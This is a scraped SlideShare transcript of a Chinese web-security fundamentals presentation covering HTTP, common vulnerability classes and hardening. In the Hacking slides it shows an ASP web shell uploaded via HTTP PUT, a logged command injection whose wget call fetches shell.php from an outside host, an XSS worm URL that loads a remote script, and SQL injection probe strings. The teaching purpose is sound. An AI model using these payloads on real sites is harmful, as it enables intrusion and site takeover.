Your SlideShare is downloading. ×
0
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
WEB 安全基础
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

WEB 安全基础

2,105

Published on

Published in: Technology
1 Comment
1 Like
Statistics
Notes
  • 相当有水平的PPT,顶一下。
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
No Downloads
Views
Total Views
2,105
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
37
Comments
1
Likes
1
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. Why
    ----- Search, Dig , and Hack !
    梁伟
    Python[AT]Live.it
    CopyLeft
  • 2. 1
    2
    3
    4
    Why WEB?
    HTTP
    Hacking
    Hardening
    Content
  • 3. 1
    2
    3
    4
    Why WEB?
    HTTP
    Hacking
    Hardening
    Content
  • 4. Why WEB ?
    WEB奋起
    瘦客户端
    浏览器能做什么?还有什么浏览器不能做?
    没有浏览器的电脑?
    Internet的新泡沫时代
  • 5. Why WEB ?
    为什么 WEB 是非多
    威胁的可叠加特性
    Internet 爆炸
    二把刀程序员
    个人站点:臭美 > 可用 > 安全
  • 6. Why WEB ?
    令人绝望的 WEB 2.0
    善用?滥用?
  • 7. Why WEB ?
    WEB安全大事记
    1998
    Phrack 54
    NT Web Technology Vulnerabilities
    [SQL Injection]
    2001
    OWASP Started
    Nikto 1.0 released
    2004
    OWASP TOP 10 released
    1999
    XSS was recognised
    whisker 1.0 released
    [ next-generation CGI scanner ]
    2003
    SQL Slammer
    OWASP Testing guide
    WebInspect 3.0
    2005
    Samy Worm
    Acunetix scanner released
  • 8. Why WEB ?
    WEB安全的一点数据
    Source : IBM X-Force® 2010 Trend and Risk Report
  • 9. Why WEB ?
    WEB安全的一点数据
    Source : IBM X-Force® 2010 Trend and Risk Report
  • 10. 1
    2
    3
    4
    Why WEB?
    HTTP
    Hacking
    Hardening
    Content
  • 11. HTTP
    版本与历史
    HTTP/0.9
    HTTP/1.0
    HTTP/1.1
    Year : 1990-1991
    简单但不大方
    Year : 1996
    RFC 1945
    过渡版本
    持续完善
    至今仍被兼容
    Year : 1997
    RFC 2068
    目前最完善版本
    持续改进与发展
    Source: RFC 2616
  • 12. 结构 (HTTP Request)
    GET / HTTP/1.1
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/QVOD, application/QVOD, */*
    Accept-Language: zh-cn
    UA-CPU: x86
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
    Host: www.google.com
    Connection: Keep-Alive
    Cookie: PREF=ID=ab655c79fc00eca5:U=1da01670686c1b4a:FF=0:LD=en:NW=1:CR=2:TM=1258614972:LM=1310117743:GM=1:S=3dm6LuBXWmGJn68p; NID=48=FYQN5JhSwChd_pgXNBw9-u6xMkefYb23gg6b24tApMve2lVAdBzX6xVSgeXFhdQM9DtKnHda7Kh_v6WAG_y0QtOukKDuBXOrH7psDHjV31NnI9-Pu8sNcLOHVjGWGhJc; rememberme=false
  • 13. HTTP
    结构 (HTTP Request)
    HTTP Request数据结构概述
    METHOD /PATH HTTP/VERISION
    HEADER1: Content
    HEADER2: Content
    HEADER3: Content
    HEADER4: Content
    POST DATAs
  • 14. HTTP
    结构 (HTTP Request)
    HTTP Request数据结构概述
    我要干什么
    GET / HTTP/1.1
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/QVOD, application/QVOD, */*
    Accept-Language: zh-cn
    UA-CPU: x86
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
    Host: www.google.com
    Connection: Keep-Alive
    Cookie: PREF=ID=ab655c79fc00eca5:U=1da01670686c1b4a:FF=0:LD=en:NW=1:CR=2:TM=1258614972:LM=1310117743:GM=1:S=3dm6LuBXWmGJn68p; NID=48=FYQN5JhSwChd_pgXNBw9-u6xMkefYb23gg6b24tApMve2lVAdBzX6xVSgeXFhdQM9DtKnHda7Kh_v6WAG_y0QtOukKDuBXOrH7psDHjV31NnI9-Pu8sNcLOHVjGWGhJc; rememberme=false
    我能识别什么
    我说什么话
    我用什么工具
    我要找谁
    对了!忘了告诉你我是谁
  • 15. HTTP
    结构 (HTTP Request)
    HTTP Method
    常见的:GET、POST
    偶尔见到的:
    HEAD, RACE, LOCK,OPTIONS,PUT, MOVE, COPY, DELETE, CONNECT
  • 16. 结构 (HTTP Response)
    HTTP/1.1 200 OK
    Date: Fri, 08 Jul 2011 14:35:23 GMT
    Expires: -1
    Cache-Control: private, max-age=0
    Content-Type: text/html; charset=UTF-8
    Content-Encoding: gzip
    Server: gws
    Content-Length: 11746
    X-XSS-Protection: 1; mode=block
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  • 17. HTTP Response in the realworld
  • 18. HTTP
    结构 (HTTP Response)
    HTTP Response数据结构概述
    HTTP/VERSION Status_CodeStatus_Code_desc
    HEADER1: Content
    HEADER2: Content
    HEADER3: Content
    X-HEADER: Content
    RESPONSE DATAs
    RESPONSE DATAs
    ..........
    ......
  • 19. HTTP
    结构 (HTTP Response)
    HTTP Response数据结构概述
    成功返回数据
    HTTP/1.1 200 OK
    Date: Fri, 08 Jul 2011 14:35:23 GMT
    Expires: -1
    Cache-Control: private, max-age=0
    Content-Type: text/html; charset=UTF-8
    Content-Encoding:gzip
    Server: gws
    Content-Length: 11746
    X-XSS-Protection: 1; mode=block
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    立刻过期
    时间(GMT)
    缓存控制。
    Private: 访问服务器而非缓存;
    Max-age=0 : 0秒内使用缓存数据
    内容类型
    服务器类型
    扩展(预留)字段
    此处意为支持浏览器的XSS过滤器
    返回长度
  • 20. HTTP
    结构 (HTTP Response)
    HTTP Response数据结构概述
    HTTP/1.1 200 OK
    Date: Fri, 08 Jul 2011 14:35:23 GMT
    Expires: -1
    Cache-Control: private, max-age=0
    Content-Type: text/html; charset=UTF-8
    Content-Encoding:gzip
    Server: gws
    Content-Length: 11746
    X-XSS-Protection: 1; mode=block
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    Entity Header
    Entity Body
  • 21. HTTP
    结构 (HTTP Response)
    Status Code
    常见:
    200 , OK
    201 , Create
    301 , Moved Permanently
    302 , Found (temporarily)
    400 , Bad Request
    401 , Unauthorized
    404 , Not Found
    500 , Internal Server Error
  • 22. HTTP
    典型
    GET vs POST
    GET 方法
    1、提交内容在URL中
    2、RFC 2616 未限制URL长度
    3、IE限制URL长度为2083个字符
    4、Firefox限制URL长度65536个字符
    POST 方法
    1、提交内容置于请求实体中
    2、以修改服务端内容为设计目的(RFC2616 /9.5)
    3、长度无限制
  • 23. HTTP
    典型
    GET vs POST
    GET/POST的安全问题
    1、360泄露用户信息事件
    2、代码混淆GET与POST请求
  • 24. HTTP
    典型
    HEAD vs GET
    HEAD —— 获取Entity Header
    GET —— 获取全部response
  • 25. HTTP
    典型
    HEAD vs GET
    GET —— 获取全部response
    HEAD —— 获取Entity Header
  • 26. HTTP
    典型
    HEAD vs GET
    HEAD 用途
    1、Scanner —— 版本信息
    2、下载工具 —— 文件长度预载
  • 27. HTTP
    典型
    REFERER 字段用途
    Referer —— 告诉WEB程序 :我从哪里来
  • 28. HTTP
    典型
    REFERER 字段用途
    Referer —— 告诉WEB程序 :我从哪里来
  • 29. HTTP
    典型
    REFERER 字段用途
    Referer的用途
    1、防止盗链
    2、CSRF防护
    3、Google hacking与入侵分析
  • 30. HTTP
    典型
    HOST字段用途
  • 31. HTTP
    典型
    HOST字段用途
  • 32. 1
    2
    3
    4
    Why WEB?
    HTTP
    Hacking
    Hardening
    Content
  • 33. Hacking
    7类常见漏洞示例
    配置错误
    注入漏洞
    跨站脚本
    认证错误
    错误信息
    参数错误
    逻辑错误
  • 34. Hacking
    配置错误 —— indexes
  • 35. Hacking
    配置错误 —— indexes
  • 36. Hacking
    配置错误 —— indexes
    <IfModulemod_dir.c>
    DirectoryIndex index.html index.cgi index.pl index.php index.xhtml index.htm
    </IfModule>
    ………..
    ………..
    <Directory /var/www/>
    Options IndexesFollowSymLinks
    AllowOverride None
    Order allow,deny
    allow from all
    </Directory>
  • 37. Hacking
    配置错误 —— HTTP PUT
    PUT /test.txt HTTP/1.1
    Host: www.site.com
    Content-Length: 1220
    <% dim objFSO %>
    <% dim fdata %>
    <% dim objCountFile %>
    <% on error resume next %>
    <% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
    <% if Trim(request("syfdpath"))<>"" then %>
    <% fdata = request("cyfddata") %>
    <% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
    ……………………
    ……………………
  • 38. Hacking
    配置错误 —— HTTP PUT
    HTTP OPTIONS方法
  • 39. Hacking
    配置错误 —— HTTP PUT
    Windows 2000 + IIS 5.0 的某些必然性
    本地权限
    IIS权限
  • 40. Hacking
    配置错误 —— HTTP PUT
    Windows 2000 权限特性及继承方式
    根目录:Everyone:F
    异曲同工之妙:
    Windows 2000 下的FrontPage
  • 41. Hacking
    配置错误 —— backup
    永远不要直接在WEB目录中编辑程序
    哪怕你知道你在做什么,但不一定知道你的编辑器在做什么 !
  • 42. Hacking
    注入漏洞 —— SQL注入
    Select * from table_name where id=1
    Select * from table_name where id=1’
    Select * from table_name where id=1and 1=1
    Select * from table_name where id=1 and 1=2
    Select * from table_name where id=1 and (select ……)
    Injection Tools:
    1、SQL Helper
    2、SQLMAP (v0.9)
  • 43. Hacking
    注入漏洞 —— JS下的SQL注入
    用户注册时触发JS脚本对用户名自动检查可用性
  • 44. Hacking
    注入漏洞 —— 命令注入
    Apache Log:
    /s_tar.php?S_sid=79d18ddc9&http://site.com/s_tar.php?S_sid=79d18ddc9&&F_down=1&F_tarname=cc.tar";wget%20-q%20-O%20%20/var/www/html/shell.php%20http://xxx.net/2011php
    Keyword:
    cc.tar
    ;(分号)
    wget
    tar 命令:
    tar cvf somefile.tar dir1 dir2 ….
    Linux多命令方式:
    Command1; Command2; Command3; …..
    Linux多命令错误机制:
    前一条命令错误,下一条继续执行
    调用:tar cfcc.tar;wget …;dir1 dir2 …
  • 45. Hacking
    跨站脚本
    存储型
    反射型
    DOM型
  • 46. Hacking
    跨站脚本
    原理简单,利用却不简单
    WEB 2.0 是XSS的新温床
    XSS/CSRF WORM : Samy worm & Sinaweibo worm
    1、跨站URL:http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
    2、由JS发起CSRF:
    a、发微博
    b、加关注
    c、发私信
    About Samy Worm:
    http://en.wikipedia.org/wiki/Samy_(XSS)
    http://namb.la/popular/
  • 47. Hacking
    认证错误 —— 无认证页面
  • 48. Hacking
    认证错误 —— 无认证页面
  • 49. Hacking
    认证错误 —— 原始信息的校验方式
    1、不校验 —— 直接构造恶意数据修改密码
    2、校验COOKIE —— CSRF
  • 50. Hacking
    错误信息 —— “友好”的返回信息
  • 51. Hacking
    错误信息 ——HTTP Fuzzing对错误信息的利用
  • 52. Hacking
    参数错误 —— 权限的鉴别
    http://site/d477340ffa28755c?OpenDocument
    http://site/d477340ffa28755c?EditDocument
    OpenDocument
    EditDocument
  • 53. Hacking
    参数错误 —— 权限的鉴别
    http://site/download.asp?file=/path/down_file.rar
  • 54. Hacking
    参数错误 —— 权限的鉴别
    http://site/download.asp?file=/path/down_file.rar
  • 55. Hacking
    逻辑错误
    一个密码找回的逻辑错误
    1、
    密码找回页面通过调用不同UID,
    显示不同用户的密码找回页
    但此时不能修改密码
    uid呈现一定规律
    通过 HTTP FUZZING 获得
  • 56. Hacking
    逻辑错误
    一个密码找回的逻辑错误
    2、
    FUZZING 获得用户信箱,
    恶意发起密码找回请求。
  • 57. Hacking
    逻辑错误
    一个密码找回的逻辑错误
    3、
    回到密码找回页面,
    重新设置密码
  • 58. 1
    2
    3
    4
    Why WEB?
    HTTP
    Hacking
    Hardening
    Content
  • 59. Hardening
    权限原则
    监控 + 分析
    14个控制项
  • 60. Hardening
    权限原则
    可写的不可执行
    可执行的不可写
  • 61. Hardening
    监控 + 分析
    定期备份
    完整性校验
    integrit
    AFICK (Another File Integrity Checker)
    日志分析
    LogParser
    Ref : http://www.room702.cn/tools/LogParser.txt
  • 62. Hardening
    14个控制项
    9、禁止使用JavaScript进行任何校验
    10、使用安全、统一的编码或转义方式
    11、设定有安全的权限边界
    12、校验被调用的后台命令
    13、校验被调用的文本或配置文件
    14、确保程序所记录的日志可控
    1、独立、完整且集中的输入验证
    2、校验全部的程序输入
    3、校验全部的输入长度
    4、校验全部的输入类型
    5、不使用任何方式处理失败的数据
    6、对HTTP所有内容进行校验
    7、校验向用户输出的数据
    8、使用安全的SQL查询方式
  • 63. Thanks !!! Q & A ???

×